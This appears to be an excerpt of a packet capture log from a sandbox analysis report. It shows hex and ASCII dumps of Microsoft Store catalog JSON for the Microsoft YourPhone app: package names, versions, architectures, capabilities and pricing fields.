2021-11-25 16:28:41 UTC 1617 IN Data Raw: 31 35 32 2e 30 5f 78 38 36 5f 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 5c 22 2c 5c 22 4d 69 63 72 6f 73 6f 66 
74 2e 59 6f 75 72 50 68 6f 6e 65 5f 31 2e 32 31 30 36 32 2e 31 35 32 2e 30 5f 78 36 34 5f 5f 38 77 65 6b 79 62 33 64 38 
62 62 77 65 5c 22 5d 2c 5c 22 63 6f 6e 74 65 6e 74 2e 69 73 4d 61 69 6e 5c 22 3a 66 61 6c 73 65 2c 5c 22 63 6f 6e 74 65 
6e 74 2e 70 61 63 6b 61 67 65 49 64 5c 22 3a 5c 22 4d 69 63 72 6f 73 6f 66 74 2e 59 6f 75 72 50 68 6f 6e 65 5f 32 30 32 
31 2e 38 30 39 2e 32 31 33 39 2e 30 5f 6e 65 75 74 72 61 6c 5f 7e 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 5c 22 2c 5c 
22 63 6f 6e 74 65 6e 74 2e 70 72 6f 64 75 63 74 49 64 5c 22 3a 5c 22 64 30 39 33 32 63 37 33 2d 65 37 33 30 2d 34 36 38 
30 2d 62 63 34 34 2d 61 35 39 30 38 66 65 63 62 66 38 
Data Ascii: 152.0_x86__8wekyb3d8bbwe\",\"Microsoft.YourPhone_1.21062.152.0_x64__8wekyb3d8bbwe\"],\"content.isM
ain\":false,\"content.packageId\":\"Microsoft.YourPhone_2021.809.2139.0_neutral_~_8wekyb3d8bbwe\",\"content.pr
oductId\":\"d0932c73-e730-4680-bc44-a5908fecbf8

2021-11-25 16:28:41 UTC 1621 IN Data Raw: 22 4d 69 6e 56 65 72 73 69 6f 6e 22 3a 32 38 31 34 37 35 30 39 37 30 34 37 38 35 39 32 2c 22 50 6c 61 74 66 
6f 72 6d 4e 61 6d 65 22 3a 22 57 69 6e 64 6f 77 73 2e 58 62 6f 78 22 7d 5d 2c 22 50 6c 61 74 66 6f 72 6d 44 65 70 65 6e 
64 65 6e 63 79 58 6d 6c 42 6c 6f 62 22 3a 22 7b 5c 22 62 6c 6f 62 2e 76 65 72 73 69 6f 6e 5c 22 3a 31 36 38 38 38 36 37 
30 34 30 35 32 36 33 33 36 2c 5c 22 63 6f 6e 74 65 6e 74 2e 62 75 6e 64 6c 65 64 50 61 63 6b 61 67 65 73 5c 22 3a 5b 
5c 22 4d 69 63 72 6f 73 6f 66 74 2e 59 6f 75 72 50 68 6f 6e 65 5f 31 2e 32 31 30 38 34 2e 37 37 2e 37 30 5f 78 38 36 5f 5f 
38 77 65 6b 79 62 33 64 38 62 62 77 65 5c 22 2c 5c 22 4d 69 63 72 6f 73 6f 66 74 2e 59 6f 75 72 50 68 6f 6e 65 5f 31 2e 
32 31 30 38 34 2e 37 37 2e 37 30 5f 78 36 34 5f 5f 38 77 
Data Ascii: "MinVersion":2814750970478592,"PlatformName":"Windows.Xbox"}],"PlatformDependencyXmlBlob":"{\"blob
.version\":1688867040526336,\"content.bundledPackages\":[\"Microsoft.YourPhone_1.21084.77.70_x86__8wekyb3d8bbw
e\",\"Microsoft.YourPhone_1.21084.77.70_x64__8w

2021-11-25 16:28:41 UTC 1625 IN Data Raw: 75 72 50 68 6f 6e 65 5f 32 30 32 31 2e 31 30 30 34 2e 31 38 30 31 2e 30 5f 6e 65 75 74 72 61 6c 5f 7e 5f 38 77 
65 6b 79 62 33 64 38 62 62 77 65 22 2c 22 50 61 63 6b 61 67 65 49 64 22 3a 22 32 36 31 35 64 37 62 65 2d 61 36 34 32 
2d 62 66 64 35 2d 39 34 35 64 2d 65 35 66 36 32 33 65 32 61 39 33 38 2d 58 38 36 2d 58 36 34 22 2c 22 50 61 63 6b 61 
67 65 52 61 6e 6b 22 3a 33 30 33 32 32 2c 22 50 6c 61 74 66 6f 72 6d 44 65 70 65 6e 64 65 6e 63 69 65 73 22 3a 5b 7b 
22 4d 61 78 54 65 73 74 65 64 22 3a 32 38 31 34 37 35 31 31 36 33 30 38 38 38 39 36 2c 22 4d 69 6e 56 65 72 73 69 6f 6
e 22 3a 32 38 31 34 37 35 30 39 37 30 34 37 38 35 39 32 2c 22 50 6c 61 74 66 6f 72 6d 4e 61 6d 65 22 3a 22 57 69 6e 64 
6f 77 73 2e 55 6e 69 76 65 72 73 61 6c 22 7d 5d 2c 22 50 6c 61 74 
Data Ascii: urPhone_2021.1004.1801.0_neutral_~_8wekyb3d8bbwe","PackageId":"2615d7be-a642-bfd5-945d-e
5f623e2a938-X86-X64","PackageRank":30322,"PlatformDependencies":[{"MaxTested":2814751163088896,"MinV
ersion":2814750970478592,"PlatformName":"Windows.Universal"}],"Plat

2021-11-25 16:28:41 UTC 1629 IN Data Raw: 34 36 2c 22 4d 61 78 49 6e 73 74 61 6c 6c 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 33 30 31 30 37 32 33 38 34 
2c 22 50 61 63 6b 61 67 65 46 6f 72 6d 61 74 22 3a 22 45 41 70 70 78 42 75 6e 64 6c 65 22 2c 22 50 61 63 6b 61 67 65 
46 61 6d 69 6c 79 4e 61 6d 65 22 3a 22 4d 69 63 72 6f 73 6f 66 74 2e 59 6f 75 72 50 68 6f 6e 65 5f 38 77 65 6b 79 62 33 
64 38 62 62 77 65 22 2c 22 4d 61 69 6e 50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 46 6f 72 44 6c 63 22 3a 6e 
75 6c 6c 2c 22 50 61 63 6b 61 67 65 46 75 6c 6c 4e 61 6d 65 22 3a 22 4d 69 63 72 6f 73 6f 66 74 2e 59 6f 75 72 50 68 6f 
6e 65 5f 32 30 32 31 2e 31 30 31 35 2e 32 31 34 36 2e 37 30 5f 6e 65 75 74 72 61 6c 5f 7e 5f 38 77 65 6b 79 62 33 64 38 
62 62 77 65 22 2c 22 50 61 63 6b 61 67 65 49 64 22 3a 22 35 61 
Data Ascii: 46,"MaxInstallSizeInBytes":301072384,"PackageFormat":"EAppxBundle","PackageFamilyName":"Microsoft.
YourPhone_8wekyb3d8bbwe","MainPackageFamilyNameForDlc":null,"PackageFullName":"Microsoft.YourPhone_2
021.1015.2146.70_neutral_~_8wekyb3d8bbwe","PackageId":"5a

2021-11-25 16:28:41 UTC 1633 IN Data Raw: 6c 54 72 75 73 74 22 2c 22 70 61 63 6b 61 67 65 4d 61 6e 61 67 65 6d 65 6e 74 22 2c 22 4d 69 63 72 6f 73 6f 
66 74 2e 75 6e 73 69 67 6e 65 64 50 61 63 6b 61 67 65 4d 61 6e 61 67 65 6d 65 6e 74 5f 38 77 65 6b 79 62 33 64 38 62 
62 77 65 22 2c 22 4d 69 63 72 6f 73 6f 66 74 2e 73 74 6f 72 65 46 69 6c 74 65 72 2e 63 6f 72 65 2e 6e 6f 74 53 75 70 70 
6f 72 74 65 64 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 22 5d 2c 22 45 78 70 65 72 69 65 6e 63 65 49 64 73 22 3a 5b 
5d 2c 22 4d 61 78 44 6f 77 6e 6c 6f 61 64 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 32 32 39 36 39 30 37 36 38 2c 22 4d 61 
78 49 6e 73 74 61 6c 6c 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 33 30 33 35 39 39 36 31 36 2c 22 50 61 63 6b 61 67 65 4
6 6f 72 6d 61 74 22 3a 22 41 70 70 78 42 75 6e 64 6c 65 22 2c 22 
Data Ascii: lTrust","packageManagement","Microsoft.unsignedPackageManagement_8wekyb3d8bbwe","Microsoft.storeFi
lter.core.notSupported_8wekyb3d8bbwe"],"ExperienceIds":[],"MaxDownloadSizeInBytes":229690768,"MaxInstallSizeIn
Bytes":303599616,"PackageFormat":"AppxBundle","

2021-11-25 16:28:41 UTC 1637 IN Data Raw: 38 36 22 2c 22 78 36 34 22 5d 2c 22 43 61 70 61 62 69 6c 69 74 69 65 73 22 3a 5b 22 69 6e 74 65 72 6e 65 74 
43 6c 69 65 6e 74 22 2c 22 70 72 69 76 61 74 65 4e 65 74 77 6f 72 6b 43 6c 69 65 6e 74 53 65 72 76 65 72 22 2c 22 72 
65 6d 6f 74 65 53 79 73 74 65 6d 22 2c 22 70 68 6f 6e 65 43 61 6c 6c 22 2c 22 63 6f 6e 66 69 72 6d 41 70 70 43 6c 6f 73 
65 22 2c 22 70 68 6f 6e 65 4c 69 6e 65 54 72 61 6e 73 70 6f 72 74 4d 61 6e 61 67 65 6d 65 6e 74 22 2c 22 70 68 6f 6e 65 
43 61 6c 6c 53 79 73 74 65 6d 22 2c 22 74 61 72 67 65 74 65 64 43 6f 6e 74 65 6e 74 22 2c 22 72 75 6e 46 75 6c 6c 54 72 
75 73 74 22 2c 22 70 61 63 6b 61 67 65 4d 61 6e 61 67 65 6d 65 6e 74 22 2c 22 4d 69 63 72 6f 73 6f 66 74 2e 75 6e 73 69 
67 6e 65 64 50 61 63 6b 61 67 65 4d 61 6e 61 67 65 6d 65 6e 
Data Ascii: 86","x64"],"Capabilities":["internetClient","privateNetworkClientServer","remoteSystem","phoneCall","confirm
AppClose","phoneLineTransportManagement","phoneCallSystem","targetedContent","runFullTrust","packageManagement
","Microsoft.unsignedPackageManagemen

2021-11-25 16:28:41 UTC 1641 IN Data Raw: 2d 62 34 62 31 2d 33 64 39 34 65 65 36 64 37 31 38 34 22 2c 22 50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 
6d 65 22 3a 22 4d 69 63 72 6f 73 6f 66 74 2e 59 6f 75 72 50 68 6f 6e 65 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 22 2c 
22 53 6b 75 49 64 22 3a 22 30 30 31 30 22 2c 22 43 6f 6e 74 65 6e 74 22 3a 6e 75 6c 6c 2c 22 50 61 63 6b 61 67 65 46 
65 61 74 75 72 65 73 22 3a 6e 75 6c 6c 7d 7d 2c 7b 22 41 70 70 6c 69 63 61 74 69 6f 6e 73 22 3a 5b 7b 22 41 70 70 6c 
69 63 61 74 69 6f 6e 49 64 22 3a 22 41 70 70 22 7d 5d 2c 22 41 72 63 68 69 74 65 63 74 75 72 65 73 22 3a 5b 22 78 38 3
6 22 2c 22 78 36 34 22 5d 2c 22 43 61 70 61 62 69 6c 69 74 69 65 73 22 3a 5b 22 69 6e 74 65 72 6e 65 74 43 6c 69 65 6e 
74 22 2c 22 70 72 69 76 61 74 65 4e 65 74 77 6f 72 6b 43 6c 69 65 
Data Ascii: -b4b1-3d94ee6d7184","PackageFamilyName":"Microsoft.YourPhone_8wekyb3d8bbwe","SkuId":"0010","Conten
t":null,"PackageFeatures":null}},{"Applications":[{"ApplicationId":"App"}],"Architectures":["x86","x64"],"Capabilities":["internet
Client","privateNetworkClie
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2021-11-25 16:28:41 UTC 1645 IN Data Raw: 22 6c 65 76 65 6c 5c 22 3a 35 34 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 33 7d 5d 7d 7d 22 2c 22 50 61 
63 6b 61 67 65 44 6f 77 6e 6c 6f 61 64 55 72 69 73 22 3a 6e 75 6c 6c 2c 22 46 75 6c 66 69 6c 6c 6d 65 6e 74 44 61 74 61 
22 3a 7b 22 50 72 6f 64 75 63 74 49 64 22 3a 22 39 4e 4d 50 4a 39 39 56 4a 42 57 56 22 2c 22 57 75 42 75 6e 64 6c 65 
49 64 22 3a 22 36 36 33 39 37 30 61 38 2d 32 36 33 35 2d 34 35 64 64 2d 61 66 35 63 2d 66 66 65 37 63 63 39 38 32 62 
34 64 22 2c 22 57 75 43 61 74 65 67 6f 72 79 49 64 22 3a 22 62 39 39 61 65 66 39 61 2d 31 36 38 35 2d 34 37 39 38 2d 6
2 34 62 31 2d 33 64 39 34 65 65 36 64 37 31 38 34 22 2c 22 50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 22 3a 22 
4d 69 63 72 6f 73 6f 66 74 2e 59 6f 75 72 50 68 6f 6e 65 5f 38 77 
Data Ascii: "level\":54,\"systemId\":13}]}}","PackageDownloadUris":null,"FulfillmentData":{"ProductId":"9NMPJ9
9VJBWV","WuBundleId":"663970a8-2635-45dd-af5c-ffe7cc982b4d","WuCategoryId":"b99aef9a-1685-4798-b4b1-
3d94ee6d7184","PackageFamilyName":"Microsoft.YourPhone_8w

2021-11-25 16:28:41 UTC 1649 IN Data Raw: 5d 7d 5d 7d 2c 22 4d 61 72 6b 65 74 73 22 3a 5b 22 55 53 22 5d 2c 22 4f 72 64 65 72 4d 61 6e 61 67 65 6d 65 
6e 74 44 61 74 61 22 3a 7b 22 47 72 61 6e 74 65 64 45 6e 74 69 74 6c 65 6d 65 6e 74 4b 65 79 73 22 3a 5b 5d 2c 22 50 
72 69 63 65 22 3a 7b 22 43 75 72 72 65 6e 63 79 43 6f 64 65 22 3a 22 55 53 44 22 2c 22 49 73 50 49 52 65 71 75 69 72 
65 64 22 3a 66 61 6c 73 65 2c 22 4c 69 73 74 50 72 69 63 65 22 3a 30 2e 30 2c 22 4d 53 52 50 22 3a 30 2e 30 2c 22 54 6
1 78 54 79 70 65 22 3a 22 22 2c 22 57 68 6f 6c 65 73 61 6c 65 43 75 72 72 65 6e 63 79 43 6f 64 65 22 3a 22 22 7d 7d 2c 
22 50 72 6f 70 65 72 74 69 65 73 22 3a 7b 7d 2c 22 53 6b 75 49 64 22 3a 22 30 30 31 30 22 2c 22 44 69 73 70 6c 61 79 
52 61 6e 6b 22 3a 32 2c 22 52 65 6d 65 64 69 61 74 69 6f 6e 52 65 71 
Data Ascii: ]}]},"Markets":["US"],"OrderManagementData":{"GrantedEntitlementKeys":[],"Price":{"CurrencyCode":"
USD","IsPIRequired":false,"ListPrice":0.0,"MSRP":0.0,"TaxType":"","WholesaleCurrencyCode":""}},"Properties":{},"SkuId":"
0010","DisplayRank":2,"RemediationReq

2021-11-25 16:28:41 UTC 1653 IN Data Raw: 58 62 6f 78 22 7d 5d 2c 22 50 6c 61 74 66 6f 72 6d 44 65 70 65 6e 64 65 6e 63 79 58 6d 6c 42 6c 6f 62 22 3a 
22 7b 5c 22 62 6c 6f 62 2e 76 65 72 73 69 6f 6e 5c 22 3a 31 36 38 38 38 36 37 30 34 30 35 32 36 33 33 36 2c 5c 22 63 6f 
6e 74 65 6e 74 2e 62 75 6e 64 6c 65 64 50 61 63 6b 61 67 65 73 5c 22 3a 5b 5c 22 4d 69 63 72 6f 73 6f 66 74 2e 59 6f 75 
72 50 68 6f 6e 65 5f 31 2e 32 30 30 31 32 2e 31 33 35 2e 37 30 5f 78 38 36 5f 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 
5c 22 2c 5c 22 4d 69 63 72 6f 73 6f 66 74 2e 59 6f 75 72 50 68 6f 6e 65 5f 31 2e 32 30 30 31 32 2e 31 33 35 2e 37 30 5f 
61 72 6d 36 34 5f 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 5c 22 2c 5c 22 4d 69 63 72 6f 73 6f 66 74 2e 59 6f 75 72 50 
68 6f 6e 65 5f 31 2e 32 30 30 31 32 2e 31 33 35 2e 37 30 
Data Ascii: Xbox"}],"PlatformDependencyXmlBlob":"{\"blob.version\":1688867040526336,\"content.bundledPackages\":
[\"Microsoft.YourPhone_1.20012.135.70_x86__8wekyb3d8bbwe\",\"Microsoft.YourPhone_1.20012.135.70_arm64__8weky
b3d8bbwe\",\"Microsoft.YourPhone_1.20012.135.70

2021-11-25 16:28:41 UTC 1657 IN Data Raw: 64 38 62 62 77 65 22 2c 22 4d 61 69 6e 50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 46 6f 72 44 6c 63 
22 3a 6e 75 6c 6c 2c 22 50 61 63 6b 61 67 65 46 75 6c 6c 4e 61 6d 65 22 3a 22 4d 69 63 72 6f 73 6f 66 74 2e 59 6f 75 72 
50 68 6f 6e 65 5f 32 30 32 30 2e 33 31 32 2e 34 30 38 2e 30 5f 6e 65 75 74 72 61 6c 5f 7e 5f 38 77 65 6b 79 62 33 64 38 
62 62 77 65 22 2c 22 50 61 63 6b 61 67 65 49 64 22 3a 22 37 65 38 36 64 38 37 65 2d 64 39 62 62 2d 35 61 63 65 2d 38 
33 66 62 2d 62 36 31 62 63 65 61 37 63 61 33 61 2d 58 38 36 2d 58 36 34 2d 41 72 6d 2d 41 72 6d 36 34 22 2c 22 50 61 
63 6b 61 67 65 52 61 6e 6b 22 3a 33 30 30 32 35 2c 22 50 6c 61 74 66 6f 72 6d 44 65 70 65 6e 64 65 6e 63 69 65 73 22 3
a 5b 7b 22 4d 61 78 54 65 73 74 65 64 22 3a 32 38 31 34 37 35 30 
Data Ascii: d8bbwe","MainPackageFamilyNameForDlc":null,"PackageFullName":"Microsoft.YourPhone_2020.312.408.0_n
eutral_~_8wekyb3d8bbwe","PackageId":"7e86d87e-d9bb-5ace-83fb-b61bcea7ca3a-X86-X64-Arm-Arm64","Packag
eRank":30025,"PlatformDependencies":[{"MaxTested":2814750

2021-11-25 16:28:41 UTC 1661 IN Data Raw: 70 70 43 6c 6f 73 65 22 2c 22 70 68 6f 6e 65 4c 69 6e 65 54 72 61 6e 73 70 6f 72 74 4d 61 6e 61 67 65 6d 65 
6e 74 22 2c 22 70 68 6f 6e 65 43 61 6c 6c 53 79 73 74 65 6d 22 2c 22 74 61 72 67 65 74 65 64 43 6f 6e 74 65 6e 74 22 2c 
22 72 75 6e 46 75 6c 6c 54 72 75 73 74 22 2c 22 4d 69 63 72 6f 73 6f 66 74 2e 73 74 6f 72 65 46 69 6c 74 65 72 2e 63 6f 
72 65 2e 6e 6f 74 53 75 70 70 6f 72 74 65 64 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 22 5d 2c 22 45 78 70 65 72 69 65 
6e 63 65 49 64 73 22 3a 5b 5d 2c 22 4d 61 78 44 6f 77 6e 6c 6f 61 64 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 36 34 38 34 
38 33 32 38 2c 22 4d 61 78 49 6e 73 74 61 6c 6c 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 36 30 35 37 39 38 34 30 2c 22 
50 61 63 6b 61 67 65 46 6f 72 6d 61 74 22 3a 22 41 70 70 78 
Data Ascii: ppClose","phoneLineTransportManagement","phoneCallSystem","targetedContent","runFullTrust","Micros
oft.storeFilter.core.notSupported_8wekyb3d8bbwe"],"ExperienceIds":[],"MaxDownloadSizeInBytes":64848328,"MaxIns
tallSizeInBytes":60579840,"PackageFormat":"Appx

2021-11-25 16:28:41 UTC 1665 IN Data Raw: 39 34 65 65 36 64 37 31 38 34 22 2c 22 50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 22 3a 22 4d 69 63 
72 6f 73 6f 66 74 2e 59 6f 75 72 50 68 6f 6e 65 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 22 2c 22 53 6b 75 49 64 22 3a 
22 30 30 31 31 22 2c 22 43 6f 6e 74 65 6e 74 22 3a 6e 75 6c 6c 2c 22 50 61 63 6b 61 67 65 46 65 61 74 75 72 65 73 22 
3a 6e 75 6c 6c 7d 7d 2c 7b 22 41 70 70 6c 69 63 61 74 69 6f 6e 73 22 3a 5b 7b 22 41 70 70 6c 69 63 61 74 69 6f 6e 49 64 
22 3a 22 41 70 70 22 7d 5d 2c 22 41 72 63 68 69 74 65 63 74 75 72 65 73 22 3a 5b 22 61 72 6d 22 2c 22 78 36 34 22 2c 
22 61 72 6d 36 34 22 2c 22 78 38 36 22 5d 2c 22 43 61 70 61 62 69 6c 69 74 69 65 73 22 3a 5b 22 69 6e 74 65 72 6e 65 7
4 43 6c 69 65 6e 74 22 2c 22 70 72 69 76 61 74 65 4e 65 74 77 6f 
Data Ascii: 94ee6d7184","PackageFamilyName":"Microsoft.YourPhone_8wekyb3d8bbwe","SkuId":"0011","Content":null,
"PackageFeatures":null}},{"Applications":[{"ApplicationId":"App"}],"Architectures":["arm","x64","arm64","x86"],"Capabilities":
["internetClient","privateNetwo

2021-11-25 16:28:41 UTC 1669 IN Data Raw: 65 6c 5c 22 3a 34 38 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 32 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 
32 37 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 39 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 37 36 2c 5c 22 73 79 73 74 65 
6d 49 64 5c 22 3a 31 36 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 36 38 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 35 
7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 35 34 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 33 7d 5d 7d 7d 22 2c 22 50 
61 63 6b 61 67 65 44 6f 77 6e 6c 6f 61 64 55 72 69 73 22 3a 6e 75 6c 6c 2c 22 46 75 6c 66 69 6c 6c 6d 65 6e 74 44 61 74 
61 22 3a 7b 22 50 72 6f 64 75 63 74 49 64 22 3a 22 39 4e 4d 50 4a 39 39 56 4a 42 57 56 22 2c 22 57 75 42 75 6e 64 6c 6
5 49 64 22 3a 22 36 36 33 39 37 30 61 38 2d 32 36 33 35 2d 34 35 
Data Ascii: el\":48,\"systemId\":12},{\"level\":27,\"systemId\":9},{\"level\":76,\"systemId\":16},{\"level\":68,\"systemId\":15},{
\"level\":54,\"systemId\":13}]}}","PackageDownloadUris":null,"FulfillmentData":{"ProductId":"9NMPJ99VJBWV","Wu
BundleId":"663970a8-2635-45

2021-11-25 16:28:41 UTC 1673 IN Data Raw: 6c 61 74 66 6f 72 6d 2e 74 61 72 67 65 74 5c 22 3a 35 7d 5d 2c 5c 22 63 6f 6e 74 65 6e 74 2e 74 79 70 65 5c 
22 3a 37 2c 5c 22 70 6f 6c 69 63 79 5c 22 3a 7b 5c 22 63 61 74 65 67 6f 72 79 2e 66 69 72 73 74 5c 22 3a 5c 22 61 70 70 
5c 22 2c 5c 22 63 61 74 65 67 6f 72 79 2e 73 65 63 6f 6e 64 5c 22 3a 5c 22 50 72 6f 64 75 63 74 69 76 69 74 79 5c 22 2c 
5c 22 6f 70 74 4f 75 74 2e 62 61 63 6b 75 70 52 65 73 74 6f 72 65 5c 22 3a 74 72 75 65 2c 5c 22 6f 70 74 4f 75 74 2e 72 
65 6d 6f 76 65 61 62 6c 65 4d 65 64 69 61 5c 22 3a 74 72 75 65 7d 2c 5c 22 70 6f 6c 69 63 79 32 5c 22 3a 7b 5c 22 61 67 
65 52 61 74 69 6e 67 5c 22 3a 31 2c 5c 22 6f 70 74 4f 75 74 2e 44 56 52 5c 22 3a 74 72 75 65 2c 5c 22 74 68 69 72 64 50 
61 72 74 79 41 70 70 52 61 74 69 6e 67 73 5c 22 3a 5b 7b 
Data Ascii: latform.target\":5}],\"content.type\":7,\"policy\":{\"category.first\":\"app\",\"category.second\":\"Productivity\",\"
optOut.backupRestore\":true,\"optOut.removeableMedia\":true},\"policy2\":{\"ageRating\":1,\"optOut.DVR\":true,\"thirdPar
tyAppRatings\":[{
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2021-11-25 16:28:41 UTC 1677 IN Data Raw: 37 2e 37 30 5f 61 72 6d 36 34 5f 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 5c 22 5d 2c 5c 22 63 6f 6e 74 65 
6e 74 2e 69 73 4d 61 69 6e 5c 22 3a 66 61 6c 73 65 2c 5c 22 63 6f 6e 74 65 6e 74 2e 70 61 63 6b 61 67 65 49 64 5c 22 
3a 5c 22 4d 69 63 72 6f 73 6f 66 74 2e 59 6f 75 72 50 68 6f 6e 65 5f 32 30 32 30 2e 39 30 32 2e 34 2e 37 30 5f 6e 65 75 
74 72 61 6c 5f 7e 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 5c 22 2c 5c 22 63 6f 6e 74 65 6e 74 2e 70 72 6f 64 75 63 74 
49 64 5c 22 3a 5c 22 64 30 39 33 32 63 37 33 2d 65 37 33 30 2d 34 36 38 30 2d 62 63 34 34 2d 61 35 39 30 38 66 65 63 
62 66 38 62 5c 22 2c 5c 22 63 6f 6e 74 65 6e 74 2e 74 61 72 67 65 74 50 6c 61 74 66 6f 72 6d 73 5c 22 3a 5b 7b 5c 22 70 
6c 61 74 66 6f 72 6d 2e 6d 61 78 56 65 72 73 69 6f 6e 54 65 73 
Data Ascii: 7.70_arm64__8wekyb3d8bbwe\"],\"content.isMain\":false,\"content.packageId\":\"Microsoft.YourPhone_
2020.902.4.70_neutral_~_8wekyb3d8bbwe\",\"content.productId\":\"d0932c73-e730-4680-bc44-a5908fecbf8b\",\"conte
nt.targetPlatforms\":[{\"platform.maxVersionTes

2021-11-25 16:28:41 UTC 1681 IN Data Raw: 4d 61 78 54 65 73 74 65 64 22 3a 32 38 31 34 37 35 31 30 31 34 39 37 37 35 33 36 2c 22 4d 69 6e 56 65 72 73 
69 6f 6e 22 3a 32 38 31 34 37 35 30 38 39 30 30 30 30 33 38 34 2c 22 50 6c 61 74 66 6f 72 6d 4e 61 6d 65 22 3a 22 57 69 
6e 64 6f 77 73 2e 55 6e 69 76 65 72 73 61 6c 22 7d 5d 2c 22 50 6c 61 74 66 6f 72 6d 44 65 70 65 6e 64 65 6e 63 79 58 6d 
6c 42 6c 6f 62 22 3a 22 7b 5c 22 62 6c 6f 62 2e 76 65 72 73 69 6f 6e 5c 22 3a 31 36 38 38 38 36 37 30 34 30 35 32 36 33 
33 36 2c 5c 22 63 6f 6e 74 65 6e 74 2e 62 75 6e 64 6c 65 64 50 61 63 6b 61 67 65 73 5c 22 3a 5b 5c 22 4d 69 63 72 6f 73 
6f 66 74 2e 59 6f 75 72 50 68 6f 6e 65 5f 31 2e 32 30 30 38 32 2e 31 33 39 2e 30 5f 78 36 34 5f 5f 38 77 65 6b 79 62 33 
64 38 62 62 77 65 5c 22 2c 5c 22 4d 69 63 72 6f 73 6f 66 
Data Ascii: MaxTested":2814751014977536,"MinVersion":2814750890000384,"PlatformName":"Windows.Universal"}],"Pl
atformDependencyXmlBlob":"{\"blob.version\":1688867040526336,\"content.bundledPackages\":[\"Microsoft.YourPhon
e_1.20082.139.0_x64__8wekyb3d8bbwe\",\"Microsof

2021-11-25 16:28:41 UTC 1685 IN Data Raw: 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 32 36 35 34 32 30 38 30 30 2c 22 50 61 63 6b 61 67 65 46 6f 72 6d 61 
74 22 3a 22 45 41 70 70 78 42 75 6e 64 6c 65 22 2c 22 50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 22 3a 22 4d 
69 63 72 6f 73 6f 66 74 2e 59 6f 75 72 50 68 6f 6e 65 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 22 2c 22 4d 61 69 6e 50 
61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 46 6f 72 44 6c 63 22 3a 6e 75 6c 6c 2c 22 50 61 63 6b 61 67 65 46 75 6c
6c 4e 61 6d 65 22 3a 22 4d 69 63 72 6f 73 6f 66 74 2e 59 6f 75 72 50 68 6f 6e 65 5f 32 30 32 30 2e 39 30 39 2e 32 32 32 
36 2e 37 30 5f 6e 65 75 74 72 61 6c 5f 7e 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 22 2c 22 50 61 63 6b 61 67 65 49 64 
22 3a 22 38 39 32 36 33 31 32 38 2d 35 65 33 64 2d 63 32 66 
Data Ascii: SizeInBytes":265420800,"PackageFormat":"EAppxBundle","PackageFamilyName":"Microsoft.YourPhone_8wek
yb3d8bbwe","MainPackageFamilyNameForDlc":null,"PackageFullName":"Microsoft.YourPhone_2020.909.2226.7
0_neutral_~_8wekyb3d8bbwe","PackageId":"89263128-5e3d-c2f

2021-11-25 16:28:41 UTC 1689 IN Data Raw: 69 65 6e 74 53 65 72 76 65 72 22 2c 22 72 65 6d 6f 74 65 53 79 73 74 65 6d 22 2c 22 70 68 6f 6e 65 43 61 6c 
6c 22 2c 22 63 6f 6e 66 69 72 6d 41 70 70 43 6c 6f 73 65 22 2c 22 70 68 6f 6e 65 4c 69 6e 65 54 72 61 6e 73 70 6f 72 74 
4d 61 6e 61 67 65 6d 65 6e 74 22 2c 22 70 68 6f 6e 65 43 61 6c 6c 53 79 73 74 65 6d 22 2c 22 74 61 72 67 65 74 65 64 
43 6f 6e 74 65 6e 74 22 2c 22 72 75 6e 46 75 6c 6c 54 72 75 73 74 22 2c 22 70 61 63 6b 61 67 65 4d 61 6e 61 67 65 6d 
65 6e 74 22 2c 22 4d 69 63 72 6f 73 6f 66 74 2e 75 6e 73 69 67 6e 65 64 50 61 63 6b 61 67 65 4d 61 6e 61 67 65 6d 65 6e 
74 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 22 2c 22 4d 69 63 72 6f 73 6f 66 74 2e 73 74 6f 72 65 46 69 6c 74 65 72 2e 
63 6f 72 65 2e 6e 6f 74 53 75 70 70 6f 72 74 65 64 5f 38 77 65 
Data Ascii: ientServer","remoteSystem","phoneCall","confirmAppClose","phoneLineTransportManagement","phoneCall
System","targetedContent","runFullTrust","packageManagement","Microsoft.unsignedPackageManagement_8w
ekyb3d8bbwe","Microsoft.storeFilter.core.notSupported_8we

2021-11-25 16:28:41 UTC 1693 IN Data Raw: 2d 32 36 33 35 2d 34 35 64 64 2d 61 66 35 63 2d 66 66 65 37 63 63 39 38 32 62 34 64 22 2c 22 57 75 43 61 74 
65 67 6f 72 79 49 64 22 3a 22 62 39 39 61 65 66 39 61 2d 31 36 38 35 2d 34 37 39 38 2d 62 34 62 31 2d 33 64 39 34 65 
65 36 64 37 31 38 34 22 2c 22 50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 22 3a 22 4d 69 63 72 6f 73 6f 66 74 2e 
